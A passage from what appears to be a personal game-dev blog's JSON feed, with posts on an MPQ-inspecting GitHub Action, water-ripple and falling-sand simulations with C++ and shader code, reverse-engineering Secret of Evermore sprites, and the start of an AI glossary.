workflow to the repo that receives the MPQ patches:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003Ename\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E Inspect MPQ patches\n\u003Cspan class=\u0022hl-keyword\u0022\u003Eon\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Epull_request_target\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Etypes\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003E[\u003C\/span\u003Eopened, synchronize, reopened\u003Cspan class=\u0022hl-property\u0022\u003E]\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Epaths\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003E[\u003C\/span\u003E\u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003E**\/*.MPQ\u003C\/span\u003E\u0026#34;, \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003E**\/*.mpq\u003C\/span\u003E\u0026#34;\u003Cspan class=\u0022hl-property\u0022\u003E]\u003C\/span\u003E\n\u003Cspan class=\u0022hl-keyword\u0022\u003Epermissions\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Econtents\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E read\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Epull-requests\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E write\n\u003Cspan class=\u0022hl-keyword\u0022\u003Ejobs\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Einspect\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Eruns-on\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E ubuntu-latest\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Esteps\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n      \u003Cspan class=\u0022hl-property\u0022\u003E-\u003C\/span\u003E \u003Cspan class=\u0022hl-keyword\u0022\u003Euses\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E maluramichael\/mpq-inspect-action\u0026#64;main\n        \u003Cspan class=\u0022hl-keyword\u0022\u003Ewith\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n          \u003Cspan class=\u0022hl-keyword\u0022\u003Epr-number\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E $\u003Cspan class=\u0022hl-value\u0022\u003E{{\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E github.event.pull_request.number \u003C\/span\u003E\u003Cspan class=\u0022hl-value\u0022\u003E}}\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003ENo \u003Ccode\u003Eactions\/checkout\u003C\/code\u003E needed, the action only fetches the changed MPQ blobs through the GitHub API. It uses \u003Ccode\u003Epull_request_target\u003C\/code\u003E instead of \u003Ccode\u003Epull_request\u003C\/code\u003E because fork PRs otherwise only get a read-only token and the action could not comment at all. It is safe here because the PR\u0026#039;s code is never checked out or executed, only the \u003Ccode\u003E.MPQ\u003C\/code\u003E files get parsed as data.\u003C\/p\u003E\n\u003Cp\u003EIt lives on the \u003Ca href=\u0022https:\/\/github.com\/marketplace\/actions\/mpq-inspect\u0022\u003EGitHub Marketplace\u003C\/a\u003E, the code and project page are at \u003Ca href=\u0022\/en\/projects\/mpq-inspect-action\u0022\u003Empq-inspect-action\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-09-30T08:11:29+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/2d-water-ripples","url":"https:\/\/malura.de\/en\/blog\/2d-water-ripples","title":"2D water ripples","content_html":"\u003Cp\u003EA stone drops into water, a ring runs outward, bounces off the edge and mixes with all the others. You can rebuild that with surprisingly little code: two arrays, a loop and a shader that turns the numbers into water.\u003C\/p\u003E\n\u003Cp\u003E[[demo:water-ripples-2d]]\u003C\/p\u003E\n\u003Cp\u003EClick and drag to drop stones, the rain throws in a few on its own. The three chips set the damping to 0.97, 0.99 or 0.999. At 0.97 the rings are gone in the blink of an eye, at 0.999 they keep running to the edge and back for a long time.\u003C\/p\u003E\n\u003Ch2\u003EThree lines\u003C\/h2\u003E\n\u003Cp\u003EThe surface is a grid of heights, 240 by 135 cells here. There are two buffers: the current height \u003Ccode\u003Ecur\u003C\/code\u003E and the one from the step before, \u003Ccode\u003Eprev\u003C\/code\u003E. The new height of a cell is the average of its four neighbours, doubled, minus the height it had before. Damping goes on top:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Enext \u0026#61; (left \u0026#43; right \u0026#43; up \u0026#43; down) \/ 2 - prev;\nnext *\u0026#61; damping;\n\u003C\/pre\u003E\n\u003Cp\u003EThat is the wave equation in a form you can actually remember. A point that sits higher than its neighbours gets pulled down and shoots past the resting level, just like a pendulum. The repo has the long version with a parameter \u003Ccode\u003Ecourant2\u003C\/code\u003E that is set to 0.5, which makes it the same formula:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float laplace \u0026#61; up[x] \u0026#43; down[x] \u0026#43; mid[x - 1] \u0026#43; mid[x \u0026#43; 1] - 4.0F * mid[x];\nold[x] \u0026#61; (2.0F * mid[x] - old[x] \u0026#43; courant2 * laplace) * damping;\n\u003C\/pre\u003E\n\u003Cp\u003EThe result is written straight into \u003Ccode\u003Eprev\u003C\/code\u003E, nobody needs that anymore, and then the two buffers are swapped. The border is never written and stays 0, which is why waves bounce back from it.\u003C\/p\u003E\n\u003Cp\u003EA drop adds a cosine bump to \u003Ccode\u003Ecur\u003C\/code\u003E. \u003Ccode\u003Eprev\u003C\/code\u003E stays untouched, so the water gets a kick instead of a slowly built-up dent, and that kick becomes the ring.\u003C\/p\u003E\n\u003Ch2\u003ESimulation on the CPU, water on the GPU\u003C\/h2\u003E\n\u003Cp\u003EThe simulation runs in fixed steps, 120 per second, with the accumulator from \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate Loop\u003C\/a\u003E and the clamp against stalls. Why fixed steps is in \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003EFixed Timestep\u003C\/a\u003E. For waves there is a second reason, more on that below.\u003C\/p\u003E\n\u003Cp\u003E32,400 cells are nothing for the CPU, and this way the simulation can be tested without a graphics card. The picture itself has 518,400 pixels with a lot of math each, and that is shader work. So the demo uploads the height field as a texture every frame:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eheights \u0026#61; Texture::create(240, 135, GL_R32F, GL_RED, GL_FLOAT, GL_NEAREST, ...);\n\/\/ every frame\nheights.update(field.heights().data());\n\u003C\/pre\u003E\n\u003Cp\u003EThe fragment shader reads the slope from it and makes two things out of it. Where the surface is tilted, the floor below is sampled at a different spot (refraction), and where it faces the light, it shines.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Evec2 slope \u0026#61; 0.5 * vec2(height(vUv \u0026#43; vec2(e.x, 0.0)) - height(vUv - vec2(e.x, 0.0)),\n                        height(vUv \u0026#43; vec2(0.0, e.y)) - height(vUv - vec2(0.0, e.y)));\nvec3 n \u0026#61; normalize(vec3(-slope * 5.0, 1.0));\nvec3 color \u0026#61; floorColor(p \u0026#43; slope * 150.0);\nfloat spec \u0026#61; pow(max(dot(n, normalize(light \u0026#43; vec3(0.0, 0.0, 1.0))), 0.0), 120.0);\n\u003C\/pre\u003E\n\u003Cp\u003EThe floor is a tile pattern the shader computes itself, there is no image file. The grout lines show the waves best, they bend along with them.\u003C\/p\u003E\n\u003Ch2\u003EWhere it blows up\u003C\/h2\u003E\n\u003Cp\u003EThe 0.5 is the upper limit up to which the method stays stable: a wave must not travel further per step than the grid can resolve. The test shows it in plain numbers. With \u003Ccode\u003Ecourant2 \u0026#61; 0.5\u003C\/code\u003E the height stays below 2 after 80 steps, with 0.6 it is above 1000. The error grows with every step, and one drop turns into huge numbers.\u003C\/p\u003E\n\u003Cp\u003ETwo things follow from that. The wave speed is baked into the step size, at 0.5 a wave travels about 0.7 cells per step. If you let the step size grow with the frame time, the water would run fast one moment and slow the next, and one long frame would break the 0.5 limit. Fixed steps solve both. Damping has its own reason. Without it (1.0) the energy stays conserved to 0.1 percent over 300 steps, so the pool would never calm down. With 0.99 per step, a little over an eighth of the energy is left after 200 steps.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EFiltering float textures linearly needs the extension \u003Ccode\u003EOES_texture_float_linear\u003C\/code\u003E in WebGL2, and it is not available everywhere. \u003Ccode\u003ER32F\u003C\/code\u003E with \u003Ccode\u003EGL_NEAREST\u003C\/code\u003E works without an extension, so the shader does the bilinear interpolation itself, four fetches per height, 16 per pixel.\u003C\/p\u003E\n\u003Cp\u003EThe rings come out slightly squarish. That is the grid, which behaves differently along the diagonals than along the axes. For rounder rings you need more neighbours.\u003C\/p\u003E\n\u003Cp\u003EAnd the mouse: the page scales the canvas with CSS, so the demo converts every event from window size to pixel size and back to 960 by 540. Otherwise the drop lands next to the click.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-water-ripples-2d\/water-ripples-2d\u0022\u003Ewater-ripples-2d\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-09-25T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/pixel-water","url":"https:\/\/malura.de\/en\/blog\/pixel-water","title":"Pixel water","content_html":"\u003Cp\u003EI wanted water that runs into a basin and lies down flat, without computing any flow. Falling sand is the smallest solution I know: a grid where every cell holds sand, water, stone or nothing, and every cell only looks at its neighbours.\u003C\/p\u003E\n\u003Cp\u003E[[demo:pixel-water]]\u003C\/p\u003E\n\u003Cp\u003EA tap is already running at the top left when the demo starts. The water hits a shelf, drops off its right end into a basin, and sand that fell onto the island in the basin now sits as a pile in the water. Hold the mouse to paint water, sand or stone, the eraser removes. The brush size is 1, 3 or 6, also on the mouse wheel. \u0026#34;Tap\u0026#34; turns the tap off, \u0026#34;Pause\u0026#34; freezes everything, \u0026#34;Clear\u0026#34; empties the grid, \u0026#34;Basin\u0026#34; rebuilds the start scene, and \u0026#34;Flow\u0026#34; sets how far water may slide sideways per step. Below the grid: cell counts and time per step.\u003C\/p\u003E\n\u003Ch2\u003EGrid and texture\u003C\/h2\u003E\n\u003Cp\u003EThe grid is 240 by 104 cells, each 4 by 4 pixels. Every cell is one pixel of a single texture (\u003Ccode\u003ESDL_PIXELFORMAT_RGBA32\u003C\/code\u003E, \u003Ccode\u003ESDL_UpdateTexture\u003C\/code\u003E) that SDL scales up 4x with the nearest filter. Empty cells have alpha 0, so the page\u0026#039;s grid shows through.\u003C\/p\u003E\n\u003Cp\u003EThe simulation runs in fixed steps, 60 per second, with an accumulator. How that works is in \u003Ca href=\u0022\/en\/blog\/delta-time-motion-independent-of-the-frame-rate\u0022\u003EDelta time\u003C\/a\u003E and \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003EFixed timestep\u003C\/a\u003E, it is the same loop here.\u003C\/p\u003E\n\u003Ch2\u003EOne step and the order\u003C\/h2\u003E\n\u003Cp\u003EEvery particle may move exactly once per step. That is the easiest place to get lost:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u0026#43;\u0026#43;tick_;\nfor (int y \u0026#61; h_ - 1; y \u0026gt;\u0026#61; 0; --y) {\n    const bool leftToRight \u0026#61; ((tick_ \u0026#43; static_cast\u0026lt;std::uint32_t\u0026gt;(y)) \u0026amp; 1U) \u0026#61;\u0026#61; 0;\n    for (int i \u0026#61; 0; i \u0026lt; w_; \u0026#43;\u0026#43;i) {\n        const int x \u0026#61; leftToRight ? i : w_ - 1 - i;\n        const Cell\u0026amp; c \u0026#61; cells_[index(x, y)];\n        if (c.movedAt \u0026#61;\u0026#61; tick_) continue;\n        if (c.kind \u0026#61;\u0026#61; Kind::Sand) {\n            stepSand(x, y);\n        } else if (c.kind \u0026#61;\u0026#61; Kind::Water) {\n            stepWater(x, y);\n        }\n    }\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe rows run from the bottom to the top. If you start at the top, you move a drop from row 5 to row 6, reach row 6 and move it on. By the end of the step it lies on the floor. Going bottom to top, a falling particle lands in a row that is already done. I reversed the loop and removed the stamp as an experiment: \u003Ccode\u003EfallsOneRowPerStep\u003C\/code\u003E fails right away.\u003C\/p\u003E\n\u003Cp\u003EThe \u003Ccode\u003EmovedAt\u003C\/code\u003E stamp covers sideways moves. There the particle stays in the row that is being scanned and could come up again further ahead. Whatever has moved carries the current tick and is skipped. The empty cell left behind gets no stamp. Otherwise it would block the particle directly above it, and a falling column could no longer follow in single file. \u003Ccode\u003EaFallingColumnMovesAsOneTrain\u003C\/code\u003E checks that with three water cells on top of each other.\u003C\/p\u003E\n\u003Ch2\u003ELeft and right\u003C\/h2\u003E\n\u003Cp\u003EWhen sand falls diagonally, someone has to decide whether left or right is tried first. Always left first means every pile leans left. I flip a coin per cell and step, derived from a hash of position and tick:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eint coin(int x, int y) const { return (detail::hash(x, y, tick_) \u0026amp; 1U) !\u0026#61; 0 ? 1 : -1; }\n\u003C\/pre\u003E\n\u003Cp\u003EOn top of that the scan direction flips every row and every step. There is no random generator with state, so the world stays deterministic: two worlds with the same start are identical cell by cell after 500 steps (\u003Ccode\u003EsameStartSameResult\u003C\/code\u003E). The drift test drops 200 sand cells as a column at x \u0026#61; 49 to 52. Afterwards the pile has its centre of mass at 50.48 and spans columns 36 to 65.\u003C\/p\u003E\n\u003Ch2\u003EWater runs further than one cell\u003C\/h2\u003E\n\u003Cp\u003EWater falls, otherwise it falls diagonally, and when both are blocked it runs sideways. With one cell per step a heap of water takes painfully long to lie down. So a particle looks up to \u003Ccode\u003Espread\u003C\/code\u003E cells ahead:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eint probe(int x, int y, int dir, bool\u0026amp; drop) const {\n    int target \u0026#61; x;\n    drop \u0026#61; false;\n    for (int i \u0026#61; 1; i \u0026lt;\u0026#61; spread; \u0026#43;\u0026#43;i) {\n        const int nx \u0026#61; x \u0026#43; dir * i;\n        if (!isEmpty(nx, y)) break;\n        target \u0026#61; nx;\n        if (isEmpty(nx, y \u0026#43; 1)) {\n            drop \u0026#61; true;\n            break;\n        }\n    }\n    return target;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EIt goes to the farthest free cell but stops where there is air below, so water runs over an edge instead of shooting past it. The test builds a basin 12 cells wide and stacks 24 water cells on the left. With range 4 the level is two cells high everywhere after 15 steps, with range 1 after 169. The \u0026#34;Flow\u0026#34; chip switches between 1, 4 and 8. At 8 the stream at the edge of the shelf looks ragged, 4 is my compromise.\u003C\/p\u003E\n\u003Cp\u003EIf the cell count does not fill whole rows, the surplus wanders along the surface as single cells, a faint twitching in a pond.\u003C\/p\u003E\n\u003Ch2\u003ESand sinks\u003C\/h2\u003E\n\u003Cp\u003ESand swaps places with water, straight down and diagonally, so that a pile under water gets its slope:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ebool sandCanEnter(int x, int y) const {\n    const Kind k \u0026#61; kind(x, y);\n    return k \u0026#61;\u0026#61; Kind::Empty || (k \u0026#61;\u0026#61; Kind::Water \u0026amp;\u0026amp; cell(x, y).movedAt !\u0026#61; tick_);\n}\n\u003C\/pre\u003E\n\u003Cp\u003EWater that has already moved in this step stays off limits, otherwise it would get its turn twice. The test puts a block of sand above a pond and checks after 400 steps that in every column all the water lies above the sand.\u003C\/p\u003E\n\u003Ch2\u003ENothing gets lost\u003C\/h2\u003E\n\u003Cp\u003EThe test that gives me the most peace of mind: a scattered world of stone, 400 water and 300 sand cells, 1000 steps, counted every 25.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Counts before \u0026#61; w.counts();\nfor (int round \u0026#61; 0; round \u0026lt; 40; \u0026#43;\u0026#43;round) {\n    steps(w, 25);  \/\/ 1000 steps in total\n    const Counts now \u0026#61; w.counts();\n    assert(now.water \u0026#61;\u0026#61; before.water);\n    assert(now.sand \u0026#61;\u0026#61; before.sand);\n    assert(now.wall \u0026#61;\u0026#61; before.wall);\n    assert(now.empty \u0026#61;\u0026#61; before.empty);\n}\n\u003C\/pre\u003E\n\u003Cp\u003EEverything moves by \u003Ccode\u003Estd::swap\u003C\/code\u003E, so a particle can neither appear nor disappear. There is also an edge test: outside the grid every cell counts as stone (\u003Ccode\u003Ekind()\u003C\/code\u003E returns \u003Ccode\u003EKind::Wall\u003C\/code\u003E there), so the logic never checks bounds.\u003C\/p\u003E\n\u003Ch2\u003EColours\u003C\/h2\u003E\n\u003Cp\u003EThe colour variation belongs to the particle. Every cell gets a fixed random value (\u003Ccode\u003Etint\u003C\/code\u003E) when it is created, and it travels along when cells swap. If the variation depended on the position, flowing water would flicker. Water also gets darker with depth and the topmost cell under air gets lighter.\u003C\/p\u003E\n\u003Cp\u003EThe step time is shown at the bottom right, in headless Chromium it was 180 to 250 microseconds with 4000 to 5400 water cells.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-pixel-water\/pixel-water\u0022\u003Epixel-water\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-09-18T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/secret-of-evermore-the-boy-now-comes-entirely-from-the-rom","url":"https:\/\/malura.de\/en\/blog\/secret-of-evermore-the-boy-now-comes-entirely-from-the-rom","title":"Secret of Evermore: The Boy Now Comes Entirely From the ROM","content_html":"\u003Cp\u003EIn the \u003Ca href=\u0022\/en\/blog\/i-cracked-open-secret-of-evermore-and-let-the-game-render-for-me\u0022\u003Efirst part\u003C\/a\u003E I let the game render its own maps and had to give up on the boy\u0026#039;s sprites. Standing and walking worked by pixel-matching against a reference sheet, but running, attacking and casting only reached 0.4 to 0.8 and looked like tile salad. My explanation back then: the dynamic poses are not stored as finished images in the ROM, they are assembled at runtime from individual hardware sprites. That was true. What was missing was the path to them.\u003C\/p\u003E\n\u003Cp\u003EThat path is found now. Every frame of the controlled boy comes out of the ROM, with the game\u0026#039;s real timing, and is checked pixel by pixel against the emulator.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EThe wrong lead\u003C\/h2\u003E\n\u003Cp\u003EThe previous session had left a handoff that sounded quite certain: the sprite composer in the ROM has several entry points, and the walking boy is rendered through one of them, one the existing trace had never seen. Three concrete addresses with their callers.\u003C\/p\u003E\n\u003Cp\u003ETwo of the three were nonsense. They sat in the middle of instructions, one on a \u003Ccode\u003ETXA\u003C\/code\u003E, one on a \u003Ccode\u003EREP\u003C\/code\u003E. The supposed callers lived in a bank that could not be read as code under any flag combination, so data that happened to look like a jump. A byte scan for opcodes finds this kind of thing all the time, which is exactly why the rule for this round was: believe nothing that has not been disassembled or measured.\u003C\/p\u003E\n\u003Cp\u003EThe third address was real, and it resolved everything. It is not a new entry but a re-entry into the same routine, a few bytes past its start. It is called by a loop that walks a linked list every frame: nodes sorted by screen height, one per visible sprite, each with position, palette and a pointer to its metasprite. The old trace sat on the start of the routine and therefore missed every node in that list, the boy included. A few bytes off, a whole session lost.\u003C\/p\u003E\n\u003Ch2\u003EThe chain\u003C\/h2\u003E\n\u003Cp\u003EFrom there it went link by link backwards. Where does the pointer in the list node come from? From two fields of the player entity, one per layer. Who writes those fields? A small bytecode machine in bank $D0 that runs an animation script per entity. And the scripts sit in bank $C8, directly readable once you know the opcodes:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E52                script start, resets fields\n4D 04 00          speed 4 (running: 12)\n22 4B 11  08      metasprite $CB114B, then wait 8 frames\nC2 06             move one step\n22 65 11  08      next metasprite, 8 frames\n...\nD3                loop back to start\n\u003C\/pre\u003E\n\u003Cp\u003EThe byte after the metasprite is the display duration in frames. The emulator measured 8, 8, 7, 8, 8, 6 frames for walking up, and those exact numbers are in the script. The last frame lasts one tick longer in the game because the loop jump itself costs a frame. Both are in the manifest now.\u003C\/p\u003E\n\u003Cp\u003EWhich script is running is decided by a table in bank $C4: 16 bytes per action, four directions of four bytes each. Group 5 is standing, 6 walking, 7 running, 10 attacking. The direction order is up, right, down, left.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Ch2\u003EWhy the images were garbage at first\u003C\/h2\u003E\n\u003Cp\u003EWith the scripts I had the metasprites, but the blocks inside rendered as nonsense. The block numbers were far too small for the known graphics table. I first guessed at an offset. There was none. The composer simply has two tables: a flag bit in the chunk decides whether a block is a 16\u00d716 piece from one table or an 8\u00d78 piece from the other. The boy mixes both, torso in 16\u00d716, hands and feet in 8\u00d78. If you only know one table, you see half the figure and take the rest for broken.\u003C\/p\u003E\n\u003Cp\u003EThen the colours. The palette from the character record had a garish green in two slots, and hair and clothes did not match the game. The answer came from the emulator: the palette sitting in colour memory at runtime exists word for word in the ROM, just three palettes further on. There are eight variants of the boy, and the two green slots are the weapon colours. Palette 0 is the placeholder without a weapon, palette 3 the boy with the bone club from the jungle.\u003C\/p\u003E\n\u003Cp\u003EFinally the order. The standing poses were at 0.87, every deviation on the seam between hips and torso. On the SNES a sprite with a lower OAM number is drawn in front, and the composer writes the first chunk into the lowest slot. My renderer drew the first chunk first and thereby put it behind. Reverse the loop once, all standing poses at 1.0.\u003C\/p\u003E\n\u003Cp\u003E[[img:5]]\u003C\/p\u003E\n\u003Ch2\u003ERunning needs the ring\u003C\/h2\u003E\n\u003Cp\u003EThe walking frames could be measured because I load a savestate into the emulator via Lua and send the boy direction keys. Running did not work. I first thought B was the key, but B is attack, which at least gave me the attack frames. Running is A, and only with the Jaguar Ring, which my savestate did not have.\u003C\/p\u003E\n\u003Cp\u003ESetting the script cursor directly to the run script achieved nothing, the game resets it the next frame. So the other way round: according to the RAM map the charm flags live in three bytes. All three to FF, hold A, and the boy runs, exactly with the frames from the script. Then bisect, first by byte, then by bit: bit 1 in \u003Ccode\u003E$7E2262\u003C\/code\u003E is the Jaguar Ring.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Ch2\u003EVerify instead of claim\u003C\/h2\u003E\n\u003Cp\u003EThe verification path is the same as last time, only stricter. A Lua script records OAM, video and colour memory every frame while the boy moves. From that the boy is reconstructed the way the console drew him and laid over the frame from my atlas that carries the same metasprite. The score is the share of exactly identical pixels.\u003C\/p\u003E\n\u003Cp\u003EOf 60 frames, 46 have a counterpart in the recordings. 44 of them sit at exactly 1.0. The other two are isolated single frames in the capture where the console happens to show more sprites than the pose has, probably the swing effect or the flicker against a wall. They are marked open in the manifest instead of being smoothed away.\u003C\/p\u003E\n\u003Ch2\u003EHow it went\u003C\/h2\u003E\n\u003Cp\u003EThe process was different from the first part. I set the direction and looked at the results, Claude spread the work across parallel agents: one wrote its own small disassembler because Ghidra keeps guessing the register widths wrong in this code, one drove Mesen with savestates, one compared pixels. Reports came with bytes and addresses, and every claim was cross-checked with a measurement before it was allowed into the docs.\u003C\/p\u003E\n\u003Cp\u003EMy part was the view from outside. I saw in the emulator window that a plant hit the boy while the trace was running. Without that hint the sequence would have been evaluated with hit frames in it. And the instruction that compiling, tracing and testing can run on smaller models in many parallel agents let the whole thing finish in one evening instead of getting stuck in a single long session.\u003C\/p\u003E\n\u003Cp\u003EWhat is missing: the remaining action groups of the table, so casting, damage, death, and the dog, which follows the same pattern in a neighbouring bank. The parser is the same. As last time nothing from Square ends up in the repo, the atlas is rebuilt from your own ROM.\u003C\/p\u003E\n\u003Ch2\u003EUpdate: the research is now public\u003C\/h2\u003E\n\u003Cp\u003EEverything I have found out about the ROM so far is now in a public repository: \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/secret-of-evermore-re\u0022\u003Esecret-of-evermore-re on GitHub\u003C\/a\u003E. It documents the formats for compression, maps, sprites, text and event scripts, a RAM map, Ghidra labels for the key routines, and the Python extractors. It contains no game data, everyone brings their own ROM.\u003C\/p\u003E\n","date_published":"2026-09-15T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/ai-terms-explained-my-cheat-sheet-for-the-whole-ai-world","url":"https:\/\/malura.de\/en\/blog\/ai-terms-explained-my-cheat-sheet-for-the-whole-ai-world","title":"AI terms explained: my cheat sheet for the whole AI world","content_html":"\u003Cp\u003EI use Claude Code every day. Still, the other day I sat in front of the model search on Hugging Face and didn\u0026#039;t understand half the filters. AWQ? FP4? A3B? So I wrote down everything that keeps popping up in the AI world. Short explanations, with numbers, for looking things up.\u003C\/p\u003E\n\u003Cp\u003EHugging Face, by the way, is basically GitHub for AI models. Over two million models live there, plus datasets and small demo apps.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EThe basics\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EAI:\u003C\/strong\u003E The umbrella term for anything that seems somehow \u0026#34;smart\u0026#34;. From chess computers to chatbots.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMachine learning:\u003C\/strong\u003E The computer learns rules from examples instead of a human programming them in. A subset of AI.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDeep learning:\u003C\/strong\u003E Machine learning with very large neural networks. A subset of machine learning. Almost everything people talk about right now is deep learning.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ENeural network:\u003C\/strong\u003E Many layers of numbers that get calculated with each other. Loosely inspired by the brain, but works very differently.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ETransformer:\u003C\/strong\u003E The architecture behind almost every modern language model, since 2017 (\u0026#34;Attention Is All You Need\u0026#34;). The trick is called attention: every word looks at which other words in the text matter to it right now.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ELLM (Large Language Model):\u003C\/strong\u003E A big language model. GPT, Claude, Gemini, Llama, Qwen. At its core it only ever predicts the next piece of a word, but it does that really well.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EGenAI (Generative AI):\u003C\/strong\u003E AI that creates something new: text, images, music, video.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EFoundation model:\u003C\/strong\u003E A large base model others build on. The \u0026#34;base LLM\u0026#34; that chat versions and specialized models are made from.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDiffusion:\u003C\/strong\u003E How most images and videos get made (Stable Diffusion, Flux). The model starts with pure noise and removes it step by step until an image is left.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAGI:\u003C\/strong\u003E \u0026#34;Artificial General Intelligence\u0026#34;, an AI that can do everything at least as well as a human. Doesn\u0026#039;t exist. Everyone argues about when or whether it will.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EHow a model is made\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ETraining \/ pretraining:\u003C\/strong\u003E The model reads huge amounts of text (trillions of tokens) and learns to predict the next word. Takes months and a lot of GPUs.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDataset:\u003C\/strong\u003E The training data. Websites, books, code, images with captions.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EWeights:\u003C\/strong\u003E The result of training, the learned numbers. When you \u0026#34;download a model\u0026#34;, you download the weights.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EBase model:\u003C\/strong\u003E Only pretrained. Continues text but doesn\u0026#039;t answer questions. Type \u0026#34;What time is it?\u0026#34; and you might get \u0026#34;the man asked, glancing at his watch\u0026#34;.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EInstruct \/ chat:\u003C\/strong\u003E Further trained on instructions and conversations. This is what you want almost every time.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EReasoning \/ thinking:\u003C\/strong\u003E Models that \u0026#34;think out loud\u0026#34; for a while before answering. Better at math and code, but slower and more expensive.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EFine-tuning:\u003C\/strong\u003E A finished model gets trained further on your own data, e.g. a writing style or domain language.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ELoRA:\u003C\/strong\u003E The cheap version of fine-tuning. Instead of changing the whole model, you train a small add-on of a 